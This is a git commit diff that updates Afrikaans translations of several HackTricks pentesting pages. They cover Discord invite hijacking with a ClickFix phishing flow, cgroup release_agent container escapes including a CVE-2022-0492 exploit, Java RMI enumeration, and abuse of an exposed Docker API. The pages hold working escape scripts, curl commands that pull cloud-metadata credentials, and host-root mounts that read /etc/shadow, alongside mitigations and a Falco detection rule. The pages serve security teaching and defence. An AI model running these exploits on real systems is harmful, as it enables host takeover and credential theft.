Translated ['src/generic-methodologies-and-resources/phishing-methodolog

This commit is contained in:
Translator 2025-07-12 15:29:17 +00:00
parent 0f1f87c453
commit a7855c6897
7 changed files with 173 additions and 101 deletions

View File

@ -2,38 +2,38 @@
{{#include ../../banners/hacktricks-training.md}}
Discord se uitnodigingstelsel se kwesbaarheid laat bedreigingsakteurs toe om vervalde of verwyderde uitnodigingskodes (tydelik, permanent, of pasgemaakte vanity) as nuwe vanity skakels op enige vlak 3 geboost bediener te eis. Deur alle kodes na kleinletters te normaliseer, kan aanvallers bekende uitnodigingskodes vooraf registreer en stilweg verkeer oorneem sodra die oorspronklike skakel verval of die bronbediener sy boost verloor.
Discord se uitnodigingstelsel se kwesbaarheid laat bedreigingsakteurs toe om vervalle of verwyderde uitnodigingskodes (tydelik, permanent, of pasgemaakte vaniteit) as nuwe vaniteit skakels op enige vlak 3 geboost bediener te eis. Deur alle kodes na kleinletters te normaliseer, kan aanvallers bekende uitnodigingskodes vooraf registreer en stilweg verkeer oorneem sodra die oorspronklike skakel verval of die bronbediener sy boost verloor.
## Uitnodigingstipes en Oornemingsrisiko
| Uitnodigingstype | Oornemingsbaar? | Voorwaarde / Kommentaar |
|-----------------------|------------------|------------------------------------------------------------------------------------------------------------|
| Tydelike Uitnodigingskakel | ✅ | Na vervaldatum word die kode beskikbaar en kan dit weer geregistreer word as 'n vanity URL deur 'n geboost bediener. |
| Uitnodigingstype | Oornembaar? | Voorwaarde / Kommentaar |
|-----------------------|-------------|------------------------------------------------------------------------------------------------------------|
| Tydelike Uitnodigingskakel | ✅ | Na vervaldatum word die kode beskikbaar en kan dit weer geregistreer word as 'n vaniteit URL deur 'n geboost bediener. |
| Permanente Uitnodigingskakel | ⚠️ | As verwyder en slegs uit kleinletters en syfers bestaan, kan die kode weer beskikbaar raak. |
| Pasgemaakte Vanityskakel | ✅ | As die oorspronklike bediener sy Vlak 3 Boost verloor, word sy vanity-uitnodiging beskikbaar vir nuwe registrasie. |
| Pasgemaakte Vaniteitskakel | ✅ | As die oorspronklike bediener sy vlak 3 Boost verloor, word sy vaniteit uitnodiging beskikbaar vir nuwe registrasie. |
## Exploitasiestappe
1. Verkenning
- Monitor openbare bronne (forums, sosiale media, Telegram-kanale) vir uitnodigingskakels wat die patroon `discord.gg/{code}` of `discord.com/invite/{code}` volg.
- Versamel uitnodigingskodes van belang (tydelik of vanity).
- Versamel uitnodigingskodes van belang (tydelik of vaniteit).
2. Voorregistrasie
- Skep of gebruik 'n bestaande Discord-bediener met Vlak 3 Boost voorregte.
- In **Bedienerinstellings → Vanity URL**, probeer om die teikenuitnodigingskode toe te ken. As aanvaar, word die kode gereserveer deur die kwaadwillige bediener.
- Skep of gebruik 'n bestaande Discord-bediener met vlak 3 Boost voorregte.
- In **Bedienerinstellings → Vaniteit URL**, probeer om die teikenuitnodigingskode toe te ken. As aanvaar, word die kode gereserveer deur die kwaadwillige bediener.
3. Oornemingsaktivering
- Vir tydelike uitnodigings, wag totdat die oorspronklike uitnodiging verval (of verwyder dit handmatig as jy die bron beheer).
- Vir kodes wat hoofletters bevat, kan die kleinlettervariant onmiddellik geëis word, hoewel omleiding slegs na vervaldatum aktiveer.
- Vir kodes wat hoofletters bevat, kan die kleinlettervariant onmiddellik geëis word, hoewel omleiding slegs aktief word na vervaldatum.
4. Stilweg Omleiding
- Gebruikers wat die ou skakel besoek, word na die aanvaller-beheerde bediener gestuur sodra die oorneming aktief is.
## Phishingvloei via Discord-bediener
## Phishing Stroom via Discord Bediener
1. Beperk bedienerkanale sodat slegs 'n **#verify** kanaal sigbaar is.
2. Ontplooi 'n bot (bv. **Safeguard#0786**) om nuwelinge te vra om via OAuth2 te verifieer.
3. Bot lei gebruikers na 'n phishing-webwerf (bv. `captchaguard.me`) onder die voorwendsel van 'n CAPTCHA of verifikasiefase.
4. Implementeer die **ClickFix** UX truuk:
- Vertoon 'n gebroke CAPTCHA boodskap.
- Lei gebruikers om die **Win+R** dialoog te open, 'n vooraf gelaaide PowerShell-opdrag in te plak, en Enter te druk.
- Lei gebruikers om die **Win+R** dialoog te open, plak 'n vooraf gelaaide PowerShell-opdrag, en druk Enter.
### ClickFix Clipboard Injection Voorbeeld
```javascript
@ -49,13 +49,13 @@ Hierdie benadering vermy direkte lêeraflaaie en benut bekende UI-elemente om ge
## Versagtings
- Gebruik permanente uitnodigingsskakels wat ten minste een hoofletter of nie-alfanumeriese karakter bevat (nooit verval, nie herbruikbaar nie).
- Draai uitnodigingskodes gereeld om en herroep ou skakels.
- Draai gereeld uitnodigingskodes en herroep ou skakels.
- Monitor Discord-bediener se boost-status en vaniteit-URL-eise.
- Onderwys gebruikers om die egtheid van die bediener te verifieer en om te verhoed dat hulle op die klembord-geplakte opdragte uitvoer.
- Onderwys gebruikers om die egtheid van die bediener te verifieer en om te verhoed dat hulle op die klembord geplakte opdragte uitvoer.
## Verwysings
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/
- Discord Custom Invite Link Documentation https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery [https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/](https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/)
- Discord Custom Invite Link Documentation [https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link](https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,9 @@
**Vir verdere besonderhede, verwys na die** [**oorspronklike blogpos**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Dit is net 'n opsomming:
Oorspronklike PoC:
---
## Klassieke PoC (2019)
```shell
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
@ -12,38 +14,108 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
```
Die bewys van konsep (PoC) demonstreer 'n metode om cgroups te benut deur 'n `release_agent`-lêer te skep en sy aanroep te aktiveer om arbitrêre opdragte op die houer-gasheer uit te voer. Hier is 'n uiteensetting van die stappe wat betrokke is:
Die PoC misbruik die **cgroup-v1** `release_agent` kenmerk: wanneer die laaste taak van 'n cgroup wat `notify_on_release=1` het, verlaat, voer die kernel (in die **aanvanklike namespaces op die gasheer**) die program uit waarvan die padnaam in die skryfbare lêer `release_agent` gestoor is. Omdat daardie uitvoering met **volledige wortelprivileges op die gasheer** plaasvind, is dit genoeg om skryftoegang tot die lêer te verkry vir 'n houer ontsnapping.
### Kort, leesbare stap-vir-stap
1. **Bereid 'n nuwe cgroup voor**
1. **Bereid die Omgewing Voor:**
- 'n Gids `/tmp/cgrp` word geskep om as 'n monteerpunt vir die cgroup te dien.
- Die RDMA cgroup-beheerder word op hierdie gids gemonteer. In die geval van afwesigheid van die RDMA-beheerder, word dit voorgestel om die `memory` cgroup-beheerder as 'n alternatief te gebruik.
```shell
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
```
2. **Stel die Kind Cgroup op:**
- 'n Kind cgroup met die naam "x" word binne die gemonteerde cgroup-gids geskep.
- Kennisgewings word geaktiveer vir die "x" cgroup deur 1 in sy notify_on_release-lêer te skryf.
```shell
mkdir /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp # of o memory
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
```
3. **Konfigureer die Release Agent:**
- Die pad van die houer op die gasheer word verkry uit die /etc/mtab lêer.
- Die release_agent lêer van die cgroup word dan gekonfigureer om 'n skrif genaamd /cmd uit te voer wat op die verkryde gasheerpad geleë is.
2. **Wys `release_agent` na aanvaller-beheerde skrip op die gasheer**
```shell
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
```
4. **Skep en Konfigureer die /cmd Skrip:**
- Die /cmd skrip word binne die houer geskep en is geconfigureer om ps aux uit te voer, terwyl die uitvoer na 'n lêer met die naam /output in die houer herlei word. Die volle pad van /output op die gasheer word gespesifiseer.
3. **Laat die payload val**
```shell
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
cat <<'EOF' > /cmd
#!/bin/sh
ps aux > "$host_path/output"
EOF
chmod +x /cmd
```
5. **Trigger die Aanval:**
- 'n Proses word binne die "x" kind cgroup geinitieer en word onmiddellik beëindig.
- Dit aktiveer die `release_agent` (die /cmd skrip), wat ps aux op die gasheer uitvoer en die uitvoer na /output binne die houer skryf.
4. **Trigger die notifier**
```shell
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs" # voeg onsself by en verlaat onmiddellik
cat /output # bevat nou gasheer prosesse
```
---
## 2022 kernel kwesbaarheid CVE-2022-0492
In Februarie 2022 het Yiqi Sun en Kevin Wang ontdek dat **die kernel *nie* vermoëns verifieer wanneer 'n proses na `release_agent` in cgroup-v1 geskryf het** (funksie `cgroup_release_agent_write`).
Effectief **enige proses wat 'n cgroup hiërargie kon monteer (bv. via `unshare -UrC`) kon 'n arbitrêre pad na `release_agent` skryf sonder `CAP_SYS_ADMIN` in die *aanvanklike* gebruikersnaamruimte**. Op 'n standaard-gekonfigureerde, wortel-draende Docker/Kubernetes houer het dit toegelaat:
* privilige-eskalasie na wortel op die gasheer; ↗
* houer ontsnapping sonder dat die houer bevoorreg was.
Die fout is toegeken aan **CVE-2022-0492** (CVSS 7.8 / Hoog) en reggestel in die volgende kernel vrystellings (en al die latere):
* 5.16.2, 5.15.17, 5.10.93, 5.4.176, 4.19.228, 4.14.265, 4.9.299.
Patch commit: `1e85af15da28 "cgroup: Fix permission checking"`.
### Minimale eksploit binne 'n houer
```bash
# prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside
apk add --no-cache util-linux # provides unshare
unshare -UrCm sh -c '
mkdir /tmp/c; mount -t cgroup -o memory none /tmp/c;
echo 1 > /tmp/c/notify_on_release;
echo /proc/self/exe > /tmp/c/release_agent; # will exec /bin/busybox from host
(sleep 1; echo 0 > /tmp/c/cgroup.procs) &
while true; do sleep 1; done
'
```
As die kern kwesbaar is, voer die busybox-binary van die *gasheer* uit met volle root.
### Versterking & Versagtings
* **Opdateer die kern** (≥ weergawes bo). Die patch vereis nou `CAP_SYS_ADMIN` in die *aanvanklike* gebruikersnaamruimte om na `release_agent` te skryf.
* **Verkies cgroup-v2** die verenigde hiërargie **het die `release_agent` kenmerk heeltemal verwyder**, wat hierdie klas ontsnapte elimineer.
* **Deaktiveer onprivilegieerde gebruikersnaamruimtes** op gashere wat dit nie nodig het nie:
```shell
sysctl -w kernel.unprivileged_userns_clone=0
```
* **Verpligte toegangbeheer**: AppArmor/SELinux beleide wat `mount`, `openat` op `/sys/fs/cgroup/**/release_agent` ontken, of `CAP_SYS_ADMIN` laat val, stop die tegniek selfs op kwesbare kerne.
* **Lees-slegs bind-mask** al die `release_agent` lêers (Palo Alto skrip voorbeeld):
```shell
for f in $(find /sys/fs/cgroup -name release_agent); do
mount --bind -o ro /dev/null "$f"
done
```
## Opsporing tydens uitvoering
[`Falco`](https://falco.org/) verskaf 'n ingeboude reël sedert v0.32:
```yaml
- rule: Detect release_agent File Container Escapes
desc: Detect an attempt to exploit a container escape using release_agent
condition: open_write and container and fd.name endswith release_agent and
(user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and
thread.cap_effective contains CAP_SYS_ADMIN
output: "Potential release_agent container escape (file=%fd.name user=%user.name cap=%thread.cap_effective)"
priority: CRITICAL
tags: [container, privilege_escalation]
```
Die reël aktiveer op enige skryfpoging na `*/release_agent` vanaf 'n proses binne 'n houer wat steeds `CAP_SYS_ADMIN` besit.
## Verwysings
* [Unit 42 CVE-2022-0492: container escape via cgroups](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/) gedetailleerde analise en versagtingskrip.
* [Sysdig Falco reël & opsporingsgids](https://sysdig.com/blog/detecting-mitigating-cve-2022-0492-sysdig/)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -20,10 +20,10 @@ _nmap_ het soms probleme om _SSL_ beskermde _RMI_ dienste te identifiseer. As jy
## RMI Komponente
Om dit eenvoudig te stel, laat _Java RMI_ 'n ontwikkelaar toe om 'n _Java object_ op die netwerk beskikbaar te stel. Dit maak 'n _TCP_ poort oop waar kliënte kan aansluit en metodes op die ooreenstemmende objek kan aanroep. Alhoewel dit eenvoudig klink, is daar verskeie uitdagings wat _Java RMI_ moet oplos:
Om dit eenvoudig te stel, laat _Java RMI_ 'n ontwikkelaar toe om 'n _Java object_ op die netwerk beskikbaar te stel. Dit open 'n _TCP_ poort waar kliënte kan aansluit en metodes op die ooreenstemmende objek kan aanroep. Alhoewel dit eenvoudig klink, is daar verskeie uitdagings wat _Java RMI_ moet oplos:
1. Om 'n metode-aanroep via _Java RMI_ te stuur, moet kliënte die IP-adres, die luisterpoort, die geïmplementeerde klas of koppelvlak en die `ObjID` van die geteikende objek ken (die `ObjID` is 'n unieke en ewekansige identifiseerder wat geskep word wanneer die objek op die netwerk beskikbaar gestel word. Dit is nodig omdat _Java RMI_ verskeie objekte toelaat om op dieselfde _TCP_ poort te luister).
2. Afgeleë kliënte kan hulpbronne op die bediener toewys deur metodes op die blootgestelde objek aan te roep. Die _Java virtuele masjien_ moet opspoor watter van hierdie hulpbronne steeds in gebruik is en watter daarvan as rommel versamel kan word.
2. Afgeleë kliënte kan hulpbronne op die bediener toewys deur metodes op die blootgestelde objek aan te roep. Die _Java virtuele masjien_ moet op spoor hou watter van hierdie hulpbronne steeds in gebruik is en watter daarvan as rommel versamel kan word.
Die eerste uitdaging word opgelos deur die _RMI registry_, wat basies 'n naamdiens vir _Java RMI_ is. Die _RMI registry_ self is ook 'n _RMI service_, maar die geïmplementeerde koppelvlak en die `ObjID` is vas en bekend aan alle _RMI_ kliënte. Dit laat _RMI_ kliënte toe om die _RMI_ registry te gebruik net deur die ooreenstemmende _TCP_ poort te ken.
@ -51,15 +51,15 @@ e.printStackTrace();
}
}
```
Die tweede van die bogenoemde uitdagings word opgelos deur die _Distributed Garbage Collector_ (_DGC_). Dit is 'n ander _RMI service_ met 'n goed bekende `ObjID` waarde en dit is basies op elke _RMI endpoint_ beskikbaar. Wanneer 'n _RMI client_ begin om 'n _RMI service_ te gebruik, stuur dit 'n inligting na die _DGC_ dat die ooreenstemmende _remote object_ in gebruik is. Die _DGC_ kan dan die verwysing telling volg en is in staat om ongebruikte objek te skoon te maak.
Die tweede van die bogenoemde uitdagings word opgelos deur die _Distributed Garbage Collector_ (_DGC_). Dit is 'n ander _RMI service_ met 'n bekende `ObjID` waarde en dit is basies op elke _RMI endpoint_ beskikbaar. Wanneer 'n _RMI client_ begin om 'n _RMI service_ te gebruik, stuur dit 'n inligting na die _DGC_ dat die ooreenstemmende _remote object_ in gebruik is. Die _DGC_ kan dan die verwysing telling volg en is in staat om ongebruikte objek te skoon te maak.
Saam met die verouderde _Activation System_, is dit die drie standaard komponente van _Java RMI_:
Saam met die verouderde _Activation System_, is dit die drie standaardkomponente van _Java RMI_:
1. Die _RMI Registry_ (`ObjID = 0`)
2. Die _Activation System_ (`ObjID = 1`)
3. Die _Distributed Garbage Collector_ (`ObjID = 2`)
Die standaard komponente van _Java RMI_ is al 'n geruime tyd bekende aanvalsvectors en verskeie kwesbaarhede bestaan in verouderde _Java_ weergawes. Vanuit 'n aanvaller se perspektief is hierdie standaard komponente interessant, omdat hulle bekende klasse / interfaces geïmplementeer het en dit is maklik om met hulle te kommunikeer. Hierdie situasie is anders vir pasgemaakte _RMI services_. Om 'n metode op 'n _remote object_ aan te roep, moet jy die ooreenstemmende metode handtekening vooraf ken. Sonder om 'n bestaande metode handtekening te ken, is daar geen manier om met 'n _RMI service_ te kommunikeer nie.
Die standaardkomponente van _Java RMI_ is al 'n geruime tyd bekende aanvalsvectors en verskeie kwesbaarhede bestaan in verouderde _Java_ weergawes. Vanuit 'n aanvaller se perspektief is hierdie standaardkomponente interessant, omdat hulle bekende klasse / interfaces geïmplementeer het en dit is maklik om met hulle te kommunikeer. Hierdie situasie is anders vir pasgemaakte _RMI services_. Om 'n metode op 'n _remote object_ aan te roep, moet jy die ooreenstemmende metode-handtekening vooraf ken. Sonder om 'n bestaande metode-handtekening te ken, is daar geen manier om met 'n _RMI service_ te kommunikeer nie.
## RMI Enumeration
@ -80,7 +80,7 @@ $ rmg enum 172.17.0.2 9010
[+]
[+] RMI server codebase enumeration:
[+]
[+] - http://iinsecure.dev/well-hidden-development-folder/
[+] - [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/)
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
[+]
@ -138,7 +138,7 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
```
## Bruteforcing Remote Methods
Selfs wanneer daar geen kwesbaarhede tydens enumerasie geïdentifiseer is nie, kan die beskikbare _RMI_ dienste steeds gevaarlike funksies blootstel. Verder, ten spyte van _RMI_ kommunikasie na _RMI_ standaardkomponente wat beskerm word deur deserialisering filters, is sulke filters gewoonlik nie in plek wanneer daar met pasgemaakte _RMI_ dienste gepraat word nie. Om geldige metode-handtekeninge op _RMI_ dienste te ken, is dus waardevol.
Selfs wanneer daar geen kwesbaarhede tydens enumerasie geïdentifiseer is nie, kan die beskikbare _RMI_ dienste steeds gevaarlike funksies blootstel. Verder, ten spyte daarvan dat _RMI_ kommunikasie met _RMI_ standaardkomponente beskerm word deur deserialisering filters, is sulke filters gewoonlik nie in plek wanneer daar met pasgemaakte _RMI_ dienste gepraat word nie. Om geldige metode-handtekeninge op _RMI_ dienste te ken, is dus waardevol.
Ongelukkig ondersteun _Java RMI_ nie die enumerasie van metodes op _remote objects_ nie. Dit gesê, dit is moontlik om metode-handtekeninge te bruteforce met gereedskap soos [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) of [rmiscout](https://github.com/BishopFox/rmiscout):
```
@ -238,8 +238,8 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+] - [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html)
[+] - [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi)
[+]
[+] Vulnerabilities:
[+]
@ -253,7 +253,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] is therefore most of the time equivalent to remote code execution.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
[+]
[+] -----------------------------------
[+] Name:
@ -266,7 +266,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
```
## Shodan

View File

@ -6,15 +6,15 @@
#### Wat is
Docker is die **voorste platform** in die **houeriser** wat **deurlopende innovasie** aanvoer. Dit fasiliteer die moeiteloze skepping en verspreiding van toepassings, wat strek van **tradisioneel tot futuristies**, en verseker hul **veilige ontplooiing** oor verskeie omgewings.
Docker is die **voorste platform** in die **houerbedryf**, wat **deurlopende innovasie** aanvoer. Dit fasiliteer die moeiteloze skepping en verspreiding van toepassings, wat strek van **tradisioneel tot futuristies**, en verseker hul **veilige ontplooiing** oor verskeie omgewings.
#### Basiese docker argitektuur
- [**containerd**](http://containerd.io): Dit is 'n **kern runtime** vir houers, verantwoordelik vir die omvattende **bestuur van 'n houer se lewensiklus**. Dit behels die hantering van **beeld oordrag en berging**, benewens die toesig oor die **uitvoering, monitering, en netwerk** van houers. **Meer gedetailleerde insigte** oor containerd word **verder ondersoek**.
- [**containerd**](http://containerd.io): Dit is 'n **kern runtime** vir houers, wat verantwoordelik is vir die omvattende **bestuur van 'n houer se lewensiklus**. Dit behels die hantering van **beeld oordrag en berging**, benewens die toesig oor die **uitvoering, monitering, en netwerk** van houers. **Meer gedetailleerde insigte** oor containerd word **verder ondersoek**.
- Die **container-shim** speel 'n kritieke rol as 'n **tussenpersoon** in die hantering van **headless houers**, wat naatloos oorgeneem word van **runc** nadat die houers geïnitialiseer is.
- [**runc**](http://runc.io): Geagter vir sy **liggewig en universele houer runtime** vermoëns, is runc in lyn met die **OCI standaard**. Dit word deur containerd gebruik om **houers te begin en te bestuur** volgens die **OCI riglyne**, en het ontwikkel uit die oorspronklike **libcontainer**.
- [**grpc**](http://www.grpc.io) is noodsaaklik vir **die fasilitering van kommunikasie** tussen containerd en die **docker-engine**, wat **doeltreffende interaksie** verseker.
- Die [**OCI**](https://www.opencontainers.org) is van kardinale belang om die **OCI spesifikasies** vir runtime en beelde te handhaaf, met die nuutste Docker weergawes wat **in ooreenstemming is met beide die OCI beeld en runtime** standaarde.
- Die [**OCI**](https://www.opencontainers.org) is van kardinale belang in die handhawing van die **OCI spesifikasies** vir runtime en beelde, met die nuutste Docker weergawes wat **in ooreenstemming is met beide die OCI beeld en runtime** standaarde.
#### Basiese opdragte
```bash
@ -43,7 +43,7 @@ docker system prune -a
**Containerd** is spesifiek ontwikkel om die behoeftes van houerplatforms soos **Docker en Kubernetes**, onder andere, te dien. Dit het ten doel om die **uitvoering van houers** oor verskeie bedryfstelsels, insluitend Linux, Windows, Solaris, en meer, te **vereenvoudig** deur bedryfstelsel-spesifieke funksionaliteit en stelselaanroepe te abstraheer. Die doel van Containerd is om slegs die noodsaaklike kenmerke wat deur sy gebruikers vereis word, in te sluit, en streef daarna om onnodige komponente te omseil. Dit word egter erken dat dit uitdagend is om hierdie doel heeltemal te bereik.
'n Sleutelontwerpbesluit is dat **Containerd nie netwerkbestuur** hanteer nie. Netwerk is 'n kritieke element in verspreide stelsels, met kompleksiteite soos Software Defined Networking (SDN) en diensontdekking wat aansienlik van een platform na 'n ander verskil. Daarom laat Containerd netwerkaspekte oor aan die platforms wat dit ondersteun.
'n Sleutelontwerpbesluit is dat **Containerd nie netwerkfunksies hanteer nie**. Netwerk is 'n kritieke element in verspreide stelsels, met kompleksiteite soos Software Defined Networking (SDN) en diensontdekking wat aansienlik van een platform na 'n ander verskil. Daarom laat Containerd netwerkaspekte oor aan die platforms wat dit ondersteun.
Terwyl **Docker Containerd gebruik** om houers te laat loop, is dit belangrik om te noem dat Containerd slegs 'n substel van Docker se funksies ondersteun. Spesifiek, Containerd ontbreek die netwerkbestuursvermoëns wat in Docker teenwoordig is en ondersteun nie die skepping van Docker swerms direk nie. Hierdie onderskeid beklemtoon Containerd se gefokusde rol as 'n houer-uitvoeringsomgewing, wat meer gespesialiseerde funksies aan die platforms wat dit integreer, delegeer.
```bash
@ -71,11 +71,11 @@ Podman is ontwerp om versoenbaar te wees met Docker se API, wat die gebruik van
- **Argitektuur**: Anders as Docker se kliënt-bediener model met 'n agtergrond daemon, werk Podman sonder 'n daemon. Hierdie ontwerp beteken dat houers loop met die regte van die gebruiker wat hulle begin, wat sekuriteit verbeter deur die behoefte aan roottoegang te elimineer.
- **Systemd Integrasie**: Podman integreer met **systemd** om houers te bestuur, wat houerbestuur deur systemd-eenhede moontlik maak. Dit staan in teenstelling met Docker se gebruik van systemd hoofsaaklik vir die bestuur van die Docker daemon-proses.
- **Rootless Containers**: 'n Belangrike kenmerk van Podman is sy vermoë om houers onder die inisieerder se regte te laat loop. Hierdie benadering minimaliseer die risiko's wat met houerbreuke geassosieer word deur te verseker dat aanvallers slegs die gecompromitteerde gebruiker se regte verkry, nie roottoegang nie.
- **Rootless Containers**: 'n Pivotal kenmerk van Podman is sy vermoë om houers onder die inisieerder se regte te laat loop. Hierdie benadering minimaliseer die risiko's wat met houerbreuke geassosieer word deur te verseker dat aanvallers slegs die gecompromitteerde gebruiker se regte verkry, nie roottoegang nie.
Podman se benadering bied 'n veilige en buigsame alternatief vir Docker, met die klem op gebruikersregtebestuur en versoenbaarheid met bestaande Docker-werkvloei.
> [!NOTE]
> [!TIP]
> Let daarop dat aangesien podman daarop gemik is om dieselfde API as docker te ondersteun, kan jy dieselfde opdragte met podman gebruik as met docker soos:
>
> ```bash
@ -134,10 +134,10 @@ docker-init:
Version: 0.18.0
GitCommit: fec3683
```
As jy die **afgeleë docker API met die `docker` opdrag** kan **kontak**, kan jy enige van die **docker** [**opdragte wat voorheen** kommentaar gelewer is](2375-pentesting-docker.md#basic-commands) uitvoer om met die diens te kommunikeer.
As jy die **afgeleë docker API met die `docker` opdrag** kan **kontak**, kan jy enige van die **docker** [**opdragte wat voorheen** kommentaar gelewer is](2375-pentesting-docker.md#basic-commands) gebruik om met die diens te kommunikeer.
> [!NOTE]
> Jy kan `export DOCKER_HOST="tcp://localhost:2375"` en **vermy** om die `-H` parameter met die docker opdrag te gebruik
> [!TIP]
> Jy kan `export DOCKER_HOST="tcp://localhost:2375"` en **vermy** die `-H` parameter met die docker opdrag
**Vinige privilige eskalasie**
```bash
@ -152,7 +152,7 @@ curl insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}']
#Get the output
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
@ -175,7 +175,7 @@ curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-ope
#Delete stopped containers
curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
```
As jy meer inligting oor hierdie onderwerp wil hê, is meer inligting beskikbaar waar ek die opdragte van gekopieer het: [https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/)
As jy meer inligting oor hierdie onderwerp wil hê, is meer inligting beskikbaar waar ek die opdragte vandaan gekopieer het: [https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/)
#### Outomaties
```bash
@ -184,13 +184,13 @@ nmap -sV --script "docker-*" -p <PORT> <IP>
```
### Kompromittering
In die volgende bladsy kan jy maniere vind om **uit 'n docker houer te ontsnap**:
In die volgende bladsy kan jy maniere vind om te **ontsnap uit 'n docker-container**:
{{#ref}}
../linux-hardening/privilege-escalation/docker-security/
{{#endref}}
Deur dit te misbruik, is dit moontlik om uit 'n houer te ontsnap, jy kan 'n swak houer op die afstandmasjien laat loop, daaruit ontsnap, en die masjien kompromitteer:
Deur dit te misbruik, is dit moontlik om uit 'n container te ontsnap, jy kan 'n swak container op die afstandmasjien laat loop, daaruit ontsnap, en die masjien kompromitteer:
```bash
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow
@ -226,7 +226,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
- `./docker-bench-security.sh`
- Jy kan die hulpmiddel [https://github.com/kost/dockscan](https://github.com/kost/dockscan) gebruik om jou huidige docker installasie te inspekteer.
- `dockscan -v unix:///var/run/docker.sock`
- Jy kan die hulpmiddel [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) gebruik om die voorregte wat 'n houer sal hê wanneer dit met verskillende sekuriteitsopsies uitgevoer word, te bepaal. Dit is nuttig om die implikasies van die gebruik van sekere sekuriteitsopsies om 'n houer te laat loop, te ken:
- Jy kan die hulpmiddel [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) gebruik om die voorregte wat 'n houer sal hê wanneer dit met verskillende sekuriteitsopsies gedraai word, te bepaal. Dit is nuttig om die implikasies van die gebruik van sekere sekuriteitsopsies om 'n houer te draai, te ken:
- `docker run --rm -it r.j3ss.co/amicontained`
